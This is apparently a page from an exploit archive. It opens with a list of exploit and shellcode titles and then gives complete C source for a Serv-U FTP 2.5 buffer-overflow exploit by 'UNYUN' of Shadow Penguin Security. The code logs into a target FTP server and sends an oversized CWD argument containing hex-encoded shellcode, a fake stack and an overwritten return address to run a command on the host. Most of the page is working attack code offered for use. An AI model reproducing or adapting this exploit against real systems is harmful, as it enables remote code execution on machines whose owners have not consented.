
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
133 lines
No EOL
4.5 KiB
C
133 lines
No EOL
4.5 KiB
C
// source: https://www.securityfocus.com/bid/269/info
|
|
|
|
The Serv-U FTP server versions 2.5 and earlier are vulnerable to multiple buffer overflows. This can result in a denial of service and at worst in arbitrary code being executed on the system.
|
|
|
|
The vulnerabilities are in the CWD and LS FTP commands if they are passed an argument a string longer than 155 characters.
|
|
|
|
The following exploit is know to work under Serv-U 2.5 under Windows 98. Changing the parameter may make it work under other environments.
|
|
|
|
/*=============================================================================
|
|
FTP Serv-U Version 2.5 Exploit for Windows98
|
|
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
|
|
Written by UNYUN (shadowpenguin@backsection.net)
|
|
=============================================================================
|
|
*/
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <netdb.h>
|
|
#include <netinet/in.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/types.h>
|
|
#include <sys/time.h>
|
|
#include <unistd.h>
|
|
|
|
#define BUFSIZE 9000
|
|
#define FTP_PORT 21
|
|
#define RETADR 164
|
|
#define CODEOFS 200
|
|
#define FSTACKOFS 174
|
|
#define JMPOFS 6
|
|
#define MAXUSER 100
|
|
#define MAXPASS 100
|
|
#define EIP 0xbff7a027
|
|
#define FAKESTACK 0x80050101
|
|
#define NOP 0x90
|
|
#define JMPS 0xeb
|
|
|
|
unsigned char exploit_code[200]={
|
|
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
|
|
0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
|
|
0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
|
|
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
|
|
0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
|
|
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
|
|
0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
|
|
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
|
|
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
|
|
0xFF,0x00};
|
|
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.notepad.exe";
|
|
|
|
|
|
void sendcmd(int sockfd,char *packetbuf)
|
|
{
|
|
int i;
|
|
|
|
write(sockfd,packetbuf,strlen(packetbuf));
|
|
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
|
|
packetbuf[i]=0;
|
|
if(strchr(packetbuf,'\n')!=NULL) break;
|
|
}
|
|
}
|
|
|
|
int main(int argc,char *argv[])
|
|
{
|
|
struct hostent *hs;
|
|
struct sockaddr_in cli;
|
|
char packetbuf[BUFSIZE+3000],buf[BUFSIZE];
|
|
char user[MAXUSER],pass[MAXPASS];
|
|
int sockfd,i,fakestack,ip,ebp,ins;
|
|
|
|
if (argc<2){
|
|
printf("usage\n %s HostName {[username] [password]}\n",argv[0]);
|
|
exit(1);
|
|
}else if (argc==4){
|
|
strncpy(user,argv[2],MAXUSER-1);
|
|
strncpy(pass,argv[3],MAXPASS-1);
|
|
user[MAXUSER-1]=0; pass[MAXPASS-1]=0;
|
|
}else{
|
|
strcpy(user,"anonymous");
|
|
strcpy(pass,"hoge@hohoho.com");
|
|
}
|
|
bzero(&cli, sizeof(cli));
|
|
cli.sin_family = AF_INET;
|
|
cli.sin_port = htons(FTP_PORT);
|
|
if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
|
|
if ((hs=gethostbyname(argv[1]))==NULL){
|
|
printf("Can not resolve specified host.\n");
|
|
exit(1);
|
|
}
|
|
cli.sin_family = hs->h_addrtype;
|
|
memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
|
|
}
|
|
|
|
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
|
|
perror("socket"); exit(0);
|
|
}
|
|
|
|
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
|
|
perror("connect"); exit(0);
|
|
}
|
|
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
|
|
packetbuf[i]=0;
|
|
if(strchr(packetbuf,'\n')!=NULL) break;
|
|
}
|
|
|
|
strcat(exploit_code,cmdbuf);
|
|
memset(buf,NOP,BUFSIZE);
|
|
|
|
fakestack=FAKESTACK;
|
|
for (i=0;i<FSTACKOFS;i+=4){
|
|
buf[i ]=fakestack&0xff;
|
|
buf[i+1]=(fakestack>>8)&0xff;
|
|
buf[i+2]=(fakestack>>16)&0xff;
|
|
buf[i+3]=(fakestack>>24)&0xff;
|
|
}
|
|
ip=EIP;
|
|
buf[RETADR ]=ip&0xff;
|
|
buf[RETADR+1]=(ip>>8)&0xff;
|
|
buf[RETADR+2]=(ip>>16)&0xff;
|
|
buf[RETADR+3]=(ip>>24)&0xff;
|
|
buf[RETADR+4]=JMPS;
|
|
buf[RETADR+5]=JMPOFS;
|
|
memcpy(buf+CODEOFS,exploit_code,strlen(exploit_code));
|
|
buf[BUFSIZE]=0;
|
|
|
|
sprintf(packetbuf,"user %s\r\n",user);
|
|
sendcmd(sockfd,packetbuf);
|
|
sprintf(packetbuf,"pass %s\r\n",pass);
|
|
sendcmd(sockfd,packetbuf);
|
|
sprintf(packetbuf,"cwd %s\r\n",buf);
|
|
sendcmd(sockfd,packetbuf);
|
|
|
|
close(sockfd);
|
|
} |